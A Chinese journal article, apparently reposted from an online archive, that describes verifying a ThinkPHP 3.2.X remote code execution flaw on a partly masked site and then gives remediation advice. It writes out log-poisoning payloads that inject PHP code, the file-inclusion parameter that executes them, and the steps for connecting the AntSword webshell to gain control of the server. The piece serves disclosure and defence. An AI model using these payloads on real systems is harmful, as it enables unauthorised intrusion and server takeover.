138
I
nternet Security
互联网+安全
引言:
互联网技术快速发展的同时,也出现了越来越多的安全漏洞,必须高度重视。相比于2019年,2020年网络安全漏洞数量仍呈现增长的趋势。根据国家信息安全漏洞库(CNNVD)数据统计,2020 年全年至 2021 年上半年新增漏洞信息27097条。从厂商分布来看,产生网络安全漏洞前五的公司分别为:Microsoft 公司、Google 公司、Oracle 公司、Netgear 公司、IBM 公司;从漏洞类型来看, 网络安全漏洞前五的类型分别为:缓冲区错误、跨站脚本、输入验证错误、信息泄露、代码问题;从漏洞修复情况来看,前五名的国内厂商分别为:华为(Huawei)、福昕(Foxit)、联想(Lenovo)、研华(Advantech)、中兴通讯(ZTE),且漏洞修复率均为100%[1]
。
ThinkPHP 是一种简便易用的轻量级PHP 框架,原名FCS,最早出现在2006年初。其支持Windows/Unix/Linux 等操作系统环境,兼容性强,操作简单方便。其突出的特点是支持跨版本、跨平台和跨数据库移植。
网站在运营过程中,为了提高访问时效性,会将用户信息存入缓存来减少访问次数。而ThinkPHP 框架在处理缓
基于“ThinkPHP-3.2.X 远程代码执行漏洞”
谈网络安全问题防范
孙海波 陈哲 国家广播电视总局广播电视科学研究院 周琪 空军特医学中心信息科陈霓 浙江广电新媒体有限公司
□【摘要】 本文就工作中发现的一起“ThinkPHP-3.2.X 远程代码执行漏洞”,浅谈如何做好网站的安全漏洞防范,防止攻击者利用该漏洞进行远程执行代码,对目标网站进行挂马、数据窃取、远程控制等恶意操作。【关键词】 网络安全漏洞 ThinkPHP 远程代码执行
存数据时将数据进行序列化,并存入一个PHP 文件中,这种方法在带来快捷的同时可能会造成命令执行风险。存在ThinkPHP-3.2.X 远程代码执行漏洞的网站在其业务代码中,如果模板赋值给assign 方法
的第一个参数可控,则可导致模板文件路径被覆盖为携带攻击代码的文件路径,从而攻击者可以插入恶意代码,造成远程命令执行。
一、事件经过
笔者一直从事对web 网站的安全漏洞挖掘工作,于2021年7月发现一起比较典型的ThinkPHP-3.2.X 远程代码执行漏洞,供读者参考。漏洞详细情况:漏洞名称为ThinkPHP-3.2.X 远程代码执行漏洞;漏洞数量1个;漏洞等级为高危;网站地址为118.---.--.37:39916/ (“---”代表网站部分域名地址)。
二、验证过程
我们通过Web 安全漏洞扫描工具,发现该网站(118.---.--.37:39916/)存在ThinkPHP-3.2.X 远程代码执行漏洞。下面我们开始对这个链接地址进行漏洞验证,在验证时需要使用“蚁剑”工具进行端口shell
链接,进而对目标服务器进行攻击验证。
图1 框架探针识别结果
1.网站基本情况分析。我们打开网站页面,使用浏览器插件Wappalyzer 来探测是否使用ThinkPHP 框
架。Wappalyzer 插件可以快速对目标网站进行基本情况分析,是一款非常实用的插件工具,通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript 框架、编程语言等参数,可通过Google、火狐商店等安装或者离线安装此插件。该插件使用简单易懂,
首先打开我们要分析检测
Copyright©博看网 www.bookan. All Rights Reserved.
139
I
nternet Security
互联网+安全
的网页,然后点击插件就可以看到对该网站分析的结果,通过Wappalyzer 插件分析目标网页结果如图1所示。
2.debug 模式测试。我们抓取对目标网站的请求包,并对该请求进行分析,测试payload 为118.---.--.37:39916/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>。
测试该漏洞可能会有两种情况,一种就是目标网站开启debug 模式,一种就是目标网站未开启debug 模式。
该漏洞的利用原理就是我们在请求包中输入攻击代码,发送请求,响应会报系统错误的提示,而日志会写入日志文件中,日志文件路径同样有两种:开启debug 模式是\Application\Runtime\Logs\Home\21_07_31.log;未开启debug 模式是\Application\Runtime\Logs\Common\21_07_31.log。其中的21_07_31.log 文件名以当天的日期命名,我们先对开启
php如何运行代码debug 模式进行测试,如图2所示。
经过测试,在debug
模式下未出现系统错误提示,所以
图4 写入测试代码
图3 非debug 模式下请求截图
图2 开启debug 模式下请求截图
Copyright©博看网 www.bookan. All Rights Reserved.
140
I
nternet Security
互联网+安全
参 考 文 献
[1]启明星辰发布《2020~2021网络安全态势观察报告》. 2021-08-16.
www.venustech/u/cms/www/202108/181454025drp.pdf;
项目基金:国家广播电视总局广播电视科学研究院2021年基本科研项目--“基于IPTV 系统的安全风险评估模型及渗透技术研究”,
项目号:JBKY20210220。
目标网站未开启debug 模式。漏洞利用payload 为118.---.--.37:39916/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_31.log。
3.非debug 模式测试。抓包并分析,测试Payload 为118.---.--.37:39916/index.php?m=--><?=phpinfo();?>。如图3所示,显示“系统发生错误”,即在非debug 模式下出现系统错误提示。
漏洞利用payload 为118.---.--.37:39916/index.ph p?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07-31.log,漏洞利用成功,说明phpinfo 已被写入日志文件中。
4.写入测试代码。我们进一步利用漏洞,写入一句测试代码,如图4所示。使用蚁剑链接服务器终端工具,中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。我们可以从GitHub 网站中下载蚁剑的源码,下载地址
为:github/AntSwordProject/AntSword-Loader。连接时在蚁剑界面右击点击新增,输入链接118.---.--.37:39916/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07-31.log,以及要连接的密码123,连接成功后如图5所示。
5.连接目标服务器。通过上一步骤,我们已经可以连接到目标服务器,可以看到目标服务器的当前路径、磁盘列表、系统信息、当前用户等信息。至此,我们可以判定网站118.---.--.37:39916/index.php)存在ThinkPHP-3.2.X 远程代码执行漏洞,我们利用缓存逻辑缺陷可直接写入代码,直观显示出ThinkPHP-3.2.X 远程代码执行漏洞的巨大危害。
三、修复建议
1.最好的修复方法就是升级到最新的ThinkPHP 版本,或者其它不受此漏洞影响的安全版本。
2.不建议直接使用assign 方法对模板变量进行赋值。3.减少使用高危函数如include 等,如果必须使用可对函数进行文件内容过滤操作。
4.对所有输入提交可能包含文件地址的内容,包括服务器本地文件及远程文件,进行严格检查,参数中不允许出现./和../等目录跳转符。
5.严格检查文件包含函数中的参数是否被外界可控。6.严格检查变量是否已经初始化。
四、结束语
一直以来,网络安全漏洞呈上升趋势,为了确保我们网站的安全,必须增强我们的责任心,经常开展
对网站的漏洞扫描工作。这次发现的ThinkPHP-3.2.X 远程代码执行漏洞,由于网站程序设计错误,导致远程代码执行问题。所以,我们在使用ThinkPHP 等开源框架的时候,不仅仅要考虑易用性,也必须重视安全问题,否则会导致用户数据泄露,服务器被提权等问题的发生。2021年8月17日,国务院颁布了《关键信息基础设施安全保护条例》,将于9月1日起施行。《关键信息基础设施安全保护条例》的施行,对于我国的网络信息化建设具有重要作用。本条例所指的关键信息基础设施,主要是指公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务、国防科技工业等重要行业,如果这些领域的基础设施遭到破坏、丧失功能或者数据泄露,会造成严重的后果,可能会严重危害国家安全、国计民生等。网络安全至关重要,必须高度重视,防患于未然。
图5 测试代码链接成功
Copyright©博看网 www.bookan. All Rights Reserved.
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论